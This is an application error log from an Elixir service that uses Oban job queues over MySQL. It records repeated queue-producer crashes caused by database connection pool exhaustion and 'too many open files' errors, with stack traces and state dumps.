State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:32:15.239584Z], limit: 3, uuid: "13a33330-4ef5-40d9-9343-e27106bd7c49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:15.239589Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.21664>, refresh_timer: #Reference<0.2525715032.1077411843.251795>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:32:15.239138Z], limit: 5, uuid: "880ee1d5-f65f-4044-8ff9-0fb2d6002390", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:15.239144Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.21668>, refresh_timer: #Reference<0.2525715032.1121189889.120139>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:27.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:32:15.240190Z], limit: 10, uuid: "01be4ae7-3be5-44dd-9383-75e24a470afc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:15.240196Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.21667>, refresh_timer: #Reference<0.2525715032.1121189889.120149>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:30.019000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:30.780000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:35.109000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:35.626000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:35.857000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:38.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:39.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:32:27.325131Z], limit: 10, uuid: "bcc9b4e2-4050-4cc2-a143-a866d0c029d9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:27.325137Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120367>, refresh_timer: #Reference<0.2525715032.1099431938.22052>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:32:27.241729Z], limit: 5, uuid: "a1ce34d6-9871-492c-817a-5f9a1f7eebb3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:27.241735Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120335>, refresh_timer: #Reference<0.2525715032.1077411843.251837>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:32:27.240850Z], limit: 5, uuid: "1088c306-16db-45f3-bab1-779d7f256e45", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:27.240856Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120336>, refresh_timer: #Reference<0.2525715032.1077411843.251815>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:32:27.238784Z], limit: 20, uuid: "5cec9fdb-9b52-4bbc-b2b2-4dc584d8bdee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:27.238794Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120333>, refresh_timer: #Reference<0.2525715032.1121189889.120272>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:32:27.241089Z], limit: 3, uuid: "fffe6754-1d0d-44e4-9a90-d3edeee44944", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:27.241094Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120337>, refresh_timer: #Reference<0.2525715032.1077411843.251828>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:32:27.241075Z], limit: 50, uuid: "624f36c9-76e0-45dd-b587-d91f7d902978", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:27.241080Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120334>, refresh_timer: #Reference<0.2525715032.1121189889.120280>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:43.141000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:49.013000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:49.736000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:49.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
